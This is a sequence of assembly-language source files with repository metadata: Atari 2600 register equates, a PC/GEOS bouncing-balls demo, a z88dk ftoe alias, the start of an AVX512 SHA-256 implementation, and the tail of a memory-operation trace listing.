True, 'congruent': 5, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}} {'src': {'NT': True, 'same': False, 'congruent': 10, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WT_ht', 'AVXalign': True, 'size': 2}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 10, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}} {'src': {'same': False, 'congruent': 3, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 0, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32}} {'48': 16322, '00': 5417, '46': 83, '47': 1, 'b8': 1, '04': 2, 'ff': 3} 48 48 48 00 00 48 00 00 48 48 00 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 00 48 48 48 00 48 00 48 00 48 48 48 00 48 48 48 00 48 48 48 48 00 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 00 48 48 48 48 48 48 48 48 00 48 48 48 00 48 48 48 48 48 48 48 48 48 00 48 00 48 48 00 00 48 48 48 00 00 00 48 48 48 00 00 48 48 00 48 48 00 48 00 48 00 48 48 48 00 48 48 48 00 00 00 48 48 00 48 48 48 48 00 48 48 48 00 00 48 48 48 00 00 00 48 00 48 00 48 00 48 00 00 00 48 00 48 00 48 00 00 48 48 00 48 48 00 48 48 48 00 00 00 00 48 48 48 00 48 00 00 48 00 48 48 00 00 00 00 48 00 00 48 48 00 00 48 00 00 48 48 48 48 00 48 48 00 48 48 00 48 00 00 48 48 48 00 48 00 00 00 48 48 48 48 00 48 48 00 48 00 48 00 48 00 00 48 48 00 48 00 00 48 00 00 00 00 00 48 00 48 48 48 48 48 00 48 48 00 48 48 48 48 48 00 00 00 00 48 00 48 00 48 48 00 00 48 48 00 48 48 48 00 00 48 48 48 00 00 00 00 48 48 48 00 48 48 00 48 00 00 48 00 00 00 00 00 00 00 48 00 00 00 48 48 48 48 48 48 48 00 00 48 48 00 48 48 48 48 48 48 48 48 48 00 48 00 48 48 48 48 48 48 00 48 00 00 48 48 48 00 48 00 00 48 48 48 00 48 00 00 00 48 00 00 48 48 48 48 48 00 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 46 48 48 00 48 48 00 48 48 48 48 48 48 48 48 00 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 00 00 48 48 48 48 48 48 48 48 46 48 00 00 00 48 48 48 48 00 48 00 48 48 48 48 48 48 48 48 48 48 00 48 48 48 00 48 48 48 00 48 48 48 00 48 48 48 48 48 48 00 48 48 48 48 48 48 00 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 00 48 00 48 48 48 00 48 48 48 48 48 48 48 48 48 48 00 46 00 48 48 00 00 48 48 48 48 00 48 48 48 00 48 48 48 00 00 48 48 48 48 48 48 00 00 48 48 48 48 00 00 48 48 00 48 48 48 00 00 48 48 00 48 00 00 48 48 48 00 48 48 00 00 48 48 48 00 00 00 48 48 00 48 00 48 48 48 00 48 48 00 00 48 00 00 48 00 00 48 48 48 48 00 00 48 48 48 48 48 48 00 48 00 48 48 00 48 00 00 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 46 48 48 48 48 00 48 48 48 48 48 48 00 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 00 48 48 48 48 48 48 00 48 48 48 00 46 48 00 00 48 48 48 48 48 48 46 48 48 48 48 48 48 48 48 00 48 00 48 48 48 48 48 48 00 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 00 48 48 48 48 48 00 48 48 48 00 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 00 48 48 48 00 48 48 48 48 48 48 48 48 48 48 00 00 00 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 00 48 48 48 00 48 00 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 46 00 00 48 48 00 00 48 48 48 48 00 48 48 48 48 00 48 00 48 48 48 00 48 48 48 00 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 00 48 48 48 00 48 48 00 48 48 48 00 48 48 00 48 48 48 00 48 00 00 48 48 48 48 00 00 48 48 48 48 48 00 00 48 00 48 00 48 00 48 00 00 48 48 48 */
34.545024
2,999
0.652078
632d243086564af30a9c7fdd4ad5812ef9c431f0
1,128
asm
Assembly
src/hw.asm
akumanatt/2600-wordle
5f8d0f76a2db2c06ee59a42106ea3593e735641f
[ "MIT" ]
1
2022-03-13T22:13:41.000Z
2022-03-13T22:13:41.000Z
src/hw.asm
akumanatt/2600-wordle
5f8d0f76a2db2c06ee59a42106ea3593e735641f
[ "MIT" ]
null
null
null
src/hw.asm
akumanatt/2600-wordle
5f8d0f76a2db2c06ee59a42106ea3593e735641f
[ "MIT" ]
null
null
null
; a2600 hardware registers ; TIA ; write VSYNC = $00 VBLANK = $01 WSYNC = $02 RSYNC = $03 NUSIZ0 = $04 NUSIZ1 = $05 COLUP0 = $06 COLUP1 = $07 COLUPF = $08 COLUBK = $09 CTRLPF = $0a REFP0 = $0b REFP1 = $0c PF0 = $0d PF1 = $0e PF2 = $0f RESP0 = $10 RESP1 = $11 RESM0 = $12 RESM1 = $13 RESBL = $14 AUDC0 = $15 AUDC1 = $16 AUDF0 = $17 AUDF1 = $18 AUDV0 = $19 AUDV1 = $1a GRP0 = $1b GRP1 = $1c ENAM0 = $1d ENAM1 = $1e ENABL = $1f HMP0 = $20 HMP1 = $21 HMM0 = $22 HMM1 = $23 HMBL = $24 VDELP0 = $25 VDELP1 = $26 VDELBL = $27 RESMP0 = $28 RESMP1 = $29 HMOVE = $2a HMCLR = $2b CXCLR = $2c ; read CXM0P = $30 CXM1P = $31 CXP0FB = $32 CXP1FB = $33 CXM0FB = $34 CXM1FB = $35 CXBLPF = $36 CXPPMM = $37 INPT0 = $38 INPT1 = $39 INPT2 = $3a INPT3 = $3b INPT4 = $3c INPT5 = $3d ; RIOT SWCHA = $0280 SWACNT = $0281 SWCHB = $0282 SWBCNT = $0283 INTIM = $0284 INSTAT = $0285 TIM1T = $0294 TIM8T = $0295 TIM64T = $0296 T1024T = $0297 ; 16k bank switches BANK0 = $fff6 BANK1 = $fff7 BANK2 = $fff8 BANK3 = $fff9
13.590361
26
0.534574
7977ab2ad41f1a678ba893f7ab6ea75d431aeea9
21,808
asm
Assembly
Appl/Bounce/bounce.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Appl/Bounce/bounce.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Appl/Bounce/bounce.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1990 -- All Rights Reserved PROJECT: PC/GEOS MODULE: Bounce (Bouncing balls demo) FILE: bounce.asm REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 1990 Initial version Eric 5/91 doc update, cleanup Don 6/91 Updated to 2.0, added regions DESCRIPTION: This file source code for the Bounce application. This code will be assembled by ESP, and then linked by the GLUE linker to produce a runnable .geo application file. RCS STAMP: $Id: bounce.asm,v 1.1 97/04/04 14:41:00 newdeal Exp $ ------------------------------------------------------------------------------@ ;------------------------------------------------------------------------------ ; Common GEODE stuff ;------------------------------------------------------------------------------ _Application = 1 ; ;Standard include files ; include geos.def include heap.def include geode.def include resource.def include ec.def include sem.def include object.def include win.def include graphics.def include lmem.def include file.def include localize.def ; needed for UI resources files include timer.def include char.def include thread.def include gstring.def ; for the application icon include Objects/winC.def ; for MSG_META_EXPOSED ;------------------------------------------------------------------------------ ; Libraries used ;------------------------------------------------------------------------------ UseLib ui.def ;------------------------------------------------------------------------------ ; Resource Definitions ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; Macros ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; Constants ;------------------------------------------------------------------------------ NUM_BALLS = 20 BALL_WIDTH = 25 BALL_HEIGHT = 25 BALL_MOVE_X = 25 BALL_MOVE_Y = 25 BACKGROUND_COLOR = C_WHITE ;misc stuff BOUNCE_ERROR enum FatalErrors BOUNCE_ERROR_BAD_UI_ARGUMENTS enum FatalErrors ;------------------------------------------------------------------------------ ; Records and Structures ;------------------------------------------------------------------------------ Ball struct B_pos Point <> B_color Color Ball ends BounceDrawType etype word BDT_SQUARE enum BounceDrawType BDT_CIRCLE enum BounceDrawType ;------------------------------------------------------------------------------ ; Definitions ;------------------------------------------------------------------------------ ;This class is used for this application's Process object. BounceProcessClass class GenProcessClass ;This message is sent by the "On/Off" ItemGroup, which the user changes it. MSG_BOUNCE_SET_ON_OFF_STATE message ;This message is sent by the "Draw Type" ItemGroup, which the user changes ; it. MSG_BOUNCE_SET_DRAW_TYPE message ;This message is sent to this object every time the timer expires. MSG_DO_NEXT message BounceProcessClass endc ;------------------------------------------------------------------------------ ; Resources ;------------------------------------------------------------------------------ include bounce.rdef ;------------------------------------------------------------------------------ ; Variables ;------------------------------------------------------------------------------ idata segment BounceProcessClass mask CLASSF_NEVER_SAVED ;------------------------------------------------------------------------------ ; Application State Data ; ;All of the following variables are saved to the application's state file. ;------------------------------------------------------------------------------ StartStateData label byte ;beginning of application state data ;On/Off state: onOffState byte FALSE ;ON by default drawType BounceDrawType BDT_SQUARE xChange word BALL_MOVE_X yChange word BALL_MOVE_Y balls Ball NUM_BALLS dup (<>) curBallValues Ball <> nextBallPtr word offset balls EndStateData label byte ;beginning of application state data idata ends ;--------------------------------------------------- udata segment viewWindow word ;handle of the window in the GenView. backColor Color ;color of background of view udata ends ;------------------------------------------------------------------------------ ; Code ;------------------------------------------------------------------------------ CommonCode segment resource COMMENT @---------------------------------------------------------------------- FUNCTION: BounceUIOpenApplication -- MSG_GEN_PROCESS_OPEN_APPLICATION DESCRIPTION: CALLED BY: PASS: AX = Method CX = AppAttachFlags DX = Handle to AppLaunchBlock BP = Block handle DS, ES = DGroup RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam/Tony 1990 Initial version Eric 4/27/91 improvements, doc update ------------------------------------------------------------------------------@ BounceUIOpenApplication method BounceProcessClass, MSG_GEN_PROCESS_OPEN_APPLICATION tst bp jz 10$ ;Restore the data (if any) push ax, cx, es ; save the method #, segment mov bx, bp ; block handle to BX call MemLock mov ds, ax ; set up the segment mov cx, (EndStateData - StartStateData) clr si mov di, offset StartStateData rep movsb ; copy the bytes call MemUnlock pop ax, cx, es ; restore the method #, segment 10$: ;Now call the superclass segmov ds, es ; DGroup => DS mov di, offset BounceProcessClass ; class of SuperClass we call call ObjCallSuperNoLock ; method already in AX initUIComponents: ForceRef initUIComponents ;initialize our UI components according to current state push ax, cx, dx, bp ;set up the user interface state call BounceInitUIComponents pop ax, cx, dx, bp ret BounceUIOpenApplication endm COMMENT @---------------------------------------------------------------------- FUNCTION: BounceUICloseApplication -- MSG_GEN_PROCESS_CLOSE_APPLICATION DESCRIPTION: CALLED BY: PASS: DS, ES = DGroup AX = MSG_GEN_PROCESS_CLOSE_APPLICATION RETURN: CX = Block handle holding state data DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 4/27/91 Initial version ------------------------------------------------------------------------------@ BounceUICloseApplication method BounceProcessClass, \ MSG_GEN_PROCESS_CLOSE_APPLICATION ; Allocate the block mov ax, (EndStateData - StartStateData) mov cx, ALLOC_DYNAMIC_NO_ERR or mask HF_SHARABLE or (mask HAF_LOCK shl 8) call MemAlloc mov es, ax ; Store the state mov cx, (EndStateData - StartStateData) clr di mov si, offset StartStateData rep movsb ; copy the bytes ;Clean up call MemUnlock mov cx, bx ret BounceUICloseApplication endm COMMENT @---------------------------------------------------------------------- FUNCTION: BounceInitUIComponents DESCRIPTION: This routine will initialize all of our UI components according to the current state of our variables. CALLED BY: BounceAttach PASS: ds = dgroup RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 4/28/91 Initial version ------------------------------------------------------------------------------@ BounceInitUIComponents proc near ;set the on/off state mov cx, TRUE tst ds:[onOffState] ;is it on? jnz setOnOffState ;skip if so... mov cx, FALSE setOnOffState: GetResourceHandleNS OnOffItemGroup, bx mov si, offset OnOffItemGroup ;object OD => BX:SI mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION clr dx clr di call ObjMessage ;set the draw type state mov cx, ds:[drawType] GetResourceHandleNS DrawTypeItemGroup, bx mov si, offset DrawTypeItemGroup mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION clr dx clr di call ObjMessage ;determine the background color of the View GetResourceHandleNS BounceView, bx mov si, offset BounceView mov ax, MSG_GEN_VIEW_GET_COLOR mov di, mask MF_CALL call ObjMessage mov ds:[backColor], cl ; assume indexed color - store value ret BounceInitUIComponents endp COMMENT @---------------------------------------------------------------------- FUNCTION: BounceAttach -- MSG_META_ATTACH handler DESCRIPTION: Perform initialization. PASS: ds = dgroup RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 1990 Initial version Eric 5/91 doc update ------------------------------------------------------------------------------@ BounceAttach method BounceProcessClass, MSG_META_ATTACH ;Call our superclass (the UI) to get stuff started mov di,offset BounceProcessClass call ObjCallSuperNoLock tst ds:[onOffState] jz done call GeodeGetProcessHandle mov ax,MSG_DO_NEXT mov di,mask MF_FORCE_QUEUE call ObjMessage done: ret BounceAttach endp COMMENT @---------------------------------------------------------------------- FUNCTION: BounceDetach DESCRIPTION: Cleans up the application prior to exiting CALLED BY: GLOBAL PASS: ds = dgroup RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 1990 Initial version Eric 5/91 improvements, doc update ------------------------------------------------------------------------------@ ;BounceDetach method BounceProcessClass, MSG_META_DETACH ; ; ;turn off timers, etc. ; ; ; Call our superclass (the UI) to finish ; ; mov ax,MSG_META_DETACH ; mov di,offset BounceProcessClass ; call ObjCallSuperNoLock ; ret ;BounceDetach endp COMMENT @---------------------------------------------------------------------- FUNCTION: BounceViewWinClosed DESCRIPTION: This method is sent by the window inside the GenView, as it is closing. This indicates that the application is exiting, or is being iconified. PASS: ds = dgroup bp - window handle RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 1990 Initial version Eric 5/91 doc update ------------------------------------------------------------------------------@ BounceViewWinClosed method BounceProcessClass, MSG_META_CONTENT_VIEW_WIN_CLOSED cmp bp, ds:[viewWindow] ;is it our window? jnz 50$ ;skip if not... ;nuke our window and GState handles mov ds:[viewWindow], 0 ;indicate that we don't have a window 50$: mov di,offset BounceProcessClass GOTO ObjCallSuperNoLock BounceViewWinClosed endp COMMENT @---------------------------------------------------------------------- FUNCTION: BounceSetOnOffState -- MSG_BOUNCE_SET_ON_OFF_STATE DESCRIPTION: This method is sent by our "On/Off" ItemGroup, when the user makes a change. PASS: ds = dgroup cx = TRUE/FALSE RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 5/91 Initial version ------------------------------------------------------------------------------@ BounceSetOnOffState method BounceProcessClass, \ MSG_BOUNCE_SET_ON_OFF_STATE ;cx = TRUE or FALSE, so just store lower byte of this value mov ds:[onOffState], cl ;save the new state tst cl jz 90$ ;skip if now is off... mov ds:[onOffState],1 call GeodeGetProcessHandle mov ax,MSG_DO_NEXT mov di,mask MF_FORCE_QUEUE call ObjMessage 90$: ret BounceSetOnOffState endm COMMENT @---------------------------------------------------------------------- FUNCTION: BounceSetDrawType -- MSG_BOUNCE_SET_DRAW_TYPE DESCRIPTION: This method is sent by our "Draw Type" ItemGroup, when the user makes a change. PASS: ds = dgroup cx = BounceDrawType RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 5/91 Initial version ------------------------------------------------------------------------------@ BounceSetDrawType method BounceProcessClass, \ MSG_BOUNCE_SET_DRAW_TYPE ; cx = BounceDrawType, so just store the value ; mov ds:[drawType], cx ; store the draw type ; force the window to get re-drawn ; mov cx, ds:[viewWindow] ; window handle => CX jcxz done ; if none, do nothing ; Tell the window that its image is invalid ; mov di, cx call GrCreateState call GrGetWinBounds ; bounds => AX, BX, CX, DX call GrInvalRect ; invalidate the image in the Window call GrDestroyState done: ret BounceSetDrawType endm COMMENT @---------------------------------------------------------------------- FUNCTION: BounceExposed -- MSG_META_EXPOSED handler. DESCRIPTION: Draws all of the balls CALLED BY: GLOBAL PASS: ds = dgroup RETURN: nothing DESTROYED: AX, BX, CX, DX, DI, SI, BP PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam/Tony 1990 initial version Eric 5/91 doc update, cleanup ------------------------------------------------------------------------------@ BounceExposed method BounceProcessClass, MSG_META_EXPOSED ;if we have just appeared on-screen, or have been opened from ;the iconified state, then send method to self to continue bouncing tst ds:[viewWindow] jnz 10$ ;skip if already was visible... mov ds:[viewWindow],cx ;save handle of window. ;if we are on, then start up loop: tst ds:[onOffState] jz 10$ ;skip if not on... call GeodeGetProcessHandle mov ax,MSG_DO_NEXT mov di,mask MF_FORCE_QUEUE call ObjMessage 10$: ;Create us a GState mov di, ds:[viewWindow] ;di = window call GrCreateState ;returns gstate in di ;Updating the window... call GrBeginUpdate mov cx, NUM_BALLS ;draw them all mov si, offset balls BEW_loop: push cx call DrawBall pop cx add si,size Ball loop BEW_loop call GrEndUpdate ;done updating... call GrDestroyState ;destroy our gstate ret BounceExposed endp COMMENT @---------------------------------------------------------------------- FUNCTION: Bounce -- MSG_ handler DESCRIPTION: Draw the next ball PASS: ds = dgroup RETURN: nothing DESTROYED: AX, BX, CX, DX, DI, SI, BP PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 1990 Initial version Eric 5/91 doc update ------------------------------------------------------------------------------@ BounceDoNext method BounceProcessClass, MSG_DO_NEXT mov di, ds:[viewWindow] ;di = window tst di jz done call GrCreateState ;returns gstate in di ; Suck up a bit of CPU time, so we can play w/new thread model ; ; mov cx, 100 ;nextBallLoop: ; push cx call NextBall ; pop cx ; loop nextBallLoop call GrDestroyState ;destroy our gstate ;this is what decides our CPU load! If you comment this out, ;Bounce will suck up 100% of the CPU. mov ax,1 call TimerSleep tst ds:[onOffState] jz done call GeodeGetProcessHandle mov ax,MSG_DO_NEXT mov di,mask MF_FORCE_QUEUE call ObjMessage done: ret BounceDoNext endp COMMENT @---------------------------------------------------------------------- FUNCTION: NextBall() DESCRIPTION: Draws the next ball, by erasing the last one, and determining the next ball atributes and drawing the ball PASS: DI = GState RETURN: Nothing DESTROYED: AX, BX, CX, DX, BP PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 1990 Initial version Don 6/91 Documentation update ------------------------------------------------------------------------------@ NextBall proc near mov si,ds:[nextBallPtr] call EraseBall ;erase current ball call GetNextBallValues ; store vars for next ball mov ds:[si].B_color,cl mov ds:[si].B_pos.P_x,ax mov ds:[si].B_pos.P_y,bx ; draw the ball call DrawBall ; move to next ball add si,size Ball ;move to next ball cmp si,offset balls + ((size Ball) * NUM_BALLS) jnz noWrap mov si,offset balls noWrap: mov ds:[nextBallPtr],si ret NextBall endp COMMENT @---------------------------------------------------------------------- FUNCTION: GetNextBallValues() DESCRIPTION: Determine all the attributes of the nest ball, including position and color PASS: DS = Color RETURN: AX = Horizontal position BX = Vertical position CL = Color DESTROYED: AX, BX, CX, DX PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 1990 Initial version Don 6/91 Documentation update ------------------------------------------------------------------------------@ GetNextBallValues proc near call GrGetWinBounds ;cx = right, dx = bottom sub cx,BALL_WIDTH ;make cx = max x position sub dx,BALL_HEIGHT ;make dx = max y position ; move to next x position mov ax,ds:[curBallValues].B_pos.P_x add ax,ds:[xChange] js leftWall ;if <0 then hit left wall cmp ax,cx jl xGood mov ax,cx ;past right edge, turn around jmp xTurnAround leftWall: clr ax ;past left edge, turn around xTurnAround: neg ds:[xChange] xGood: mov ds:[curBallValues].B_pos.P_x,ax ; move to next y position mov bx,ds:[curBallValues].B_pos.P_y add bx,ds:[yChange] js topWall ;if <0 then hit top wall cmp bx,dx jl yGood mov bx,dx ;past bottom edge, turn around jmp yTurnAround topWall: clr bx ;past top edge, turn around yTurnAround: neg ds:[yChange] yGood: mov ds:[curBallValues].B_pos.P_y,bx ; move to next color mov cl,ds:[curBallValues].B_color newColor: inc cl and cl,15 cmp cl, ds:[backColor] ;don't draw in same color as background je newColor ;if so, get the next color mov ds:[curBallValues].B_color,cl ret GetNextBallValues endp COMMENT @---------------------------------------------------------------------- FUNCTION: DrawBall() DESCRIPTION: Draws a ball PASS: DS:SI = Ball DI = GState RETURN: Nothing DESTROYED: AX, BX, CX, DX, BP PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 1990 Initial version Don 6/91 Documentation update ------------------------------------------------------------------------------@ drawBallFuncs nptr \ DrawSquareBall, DrawCircleBall DrawBall proc near mov al,ds:[si].B_color clr ah call GrSetAreaColor call GetBallPos mov bp, ds:[drawType] shl bp, 1 ; change offset to words call cs:drawBallFuncs[bp] ret DrawBall endp DrawSquareBall proc near mov cx, ax mov dx, bx add cx, BALL_WIDTH add dx, BALL_HEIGHT call GrFillRect ret DrawSquareBall endp DrawCircleBall proc near push ds, si segmov ds, cs mov si, offset circleBall call GrDrawRegion pop ds, si ret DrawCircleBall endp COMMENT @---------------------------------------------------------------------- FUNCTION: EraseBall DESCRIPTION: Erases a ball from the screen PASS: DS:SI = Ball DI = GState RETURN: Nothing DESTROYED: AX, BX, CX, DX, BP PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 1990 Initial version Don 6/91 Documentation update ------------------------------------------------------------------------------@ EraseBall proc near mov al,BACKGROUND_COLOR clr ah call GrSetAreaColor call GetBallPos mov bp, ds:[drawType] shl bp, 1 ; change offset to words call cs:drawBallFuncs[bp] ret EraseBall endp COMMENT @---------------------------------------------------------------------- FUNCTION: GetBallPos() DESCRIPTION: Returns the position of the next ball PASS: DS:SI = Ball RETURN: AX = Horizontal position BX = Vertical position DESTROYED: Nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 1990 Initial version Don 6/91 Documentation update ------------------------------------------------------------------------------@ ; pass: ds:si - ball, di - gstate ; return: ax, bx, cx, dx - bounds to draw GetBallPos proc near mov ax, ds:[si].B_pos.P_x mov bx, ds:[si].B_pos.P_y ret GetBallPos endp ; Our wonderful little circle, done as a region to be quick ; circleBall label Region word 0,0,BALL_WIDTH,BALL_HEIGHT ; bounds word -1, EOREGREC ; from infinity to here word 0, 9, 15, EOREGREC word 1, 7, 17, EOREGREC word 2, 5, 19, EOREGREC word 3, 4, 20, EOREGREC word 4, 3, 21, EOREGREC word 6, 2, 22, EOREGREC word 8, 1, 23, EOREGREC word 15, 0, 24, EOREGREC word 17, 1, 23, EOREGREC word 19, 2, 22, EOREGREC word 20, 3, 21, EOREGREC word 21, 4, 20, EOREGREC word 22, 5, 19, EOREGREC word 23, 7, 17, EOREGREC word 24, 9, 15, EOREGREC word EOREGREC CommonCode ends
22.140102
84
0.555438
08cf2211e314775577a2123affb79f8879f37b38
499
asm
Assembly
libsrc/_DEVELOPMENT/stdlib/z80/asm_ftoe.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/stdlib/z80/asm_ftoe.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/stdlib/z80/asm_ftoe.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; =============================================================== ; Jun 2015 ; =============================================================== ; ; size_t ftoe(float x, char *buf, uint16_t prec, uint16_t flag) ; ; (-d.dddde+dd) ; ; An alias for dtoe() since the C compilers do not distinguish ; between float and double currently. ; ; =============================================================== SECTION code_clib SECTION code_stdlib PUBLIC asm_ftoe EXTERN asm_dtoe defc asm_ftoe = asm_dtoe
21.695652
65
0.44489
c959b1aa262d9a4a5106a556540fe1372e8cdba3
33,499
asm
Assembly
vendor/github.com/minio/sha256-simd/sha256blockAvx512_amd64.asm
ranton256/cortex
eafcc9243d517fcf11e5255b30dea275377f09c5
[ "Apache-2.0" ]
31,195
2015-06-03T06:32:16.000Z
2022-03-31T20:53:04.000Z
vendor/github.com/minio/sha256-simd/sha256blockAvx512_amd64.asm
ranton256/cortex
eafcc9243d517fcf11e5255b30dea275377f09c5
[ "Apache-2.0" ]
17,436
2015-06-03T14:59:31.000Z
2022-03-31T23:49:12.000Z
vendor/github.com/minio/sha256-simd/sha256blockAvx512_amd64.asm
ranton256/cortex
eafcc9243d517fcf11e5255b30dea275377f09c5
[ "Apache-2.0" ]
5,356
2015-06-03T10:10:50.000Z
2022-03-31T20:52:54.000Z
// 16x Parallel implementation of SHA256 for AVX512 // // Minio Cloud Storage, (C) 2017 Minio, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // This code is based on the Intel Multi-Buffer Crypto for IPSec library // and more specifically the following implementation: // https://github.com/intel/intel-ipsec-mb/blob/master/avx512/sha256_x16_avx512.asm // // For Golang it has been converted into Plan 9 assembly with the help of // github.com/minio/asm2plan9s to assemble the AVX512 instructions // // Copyright (c) 2017, Intel Corporation // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // * Neither the name of Intel Corporation nor the names of its contributors // may be used to endorse or promote products derived from this software // without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE // FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL // DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER // CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #define SHA256_DIGEST_ROW_SIZE 64 // arg1 #define STATE rdi #define STATE_P9 DI // arg2 #define INP_SIZE rsi #define INP_SIZE_P9 SI #define IDX rcx #define TBL rdx #define TBL_P9 DX #define INPUT rax #define INPUT_P9 AX #define inp0 r9 #define SCRATCH_P9 R12 #define SCRATCH r12 #define maskp r13 #define MASKP_P9 R13 #define mask r14 #define MASK_P9 R14 #define A zmm0 #define B zmm1 #define C zmm2 #define D zmm3 #define E zmm4 #define F zmm5 #define G zmm6 #define H 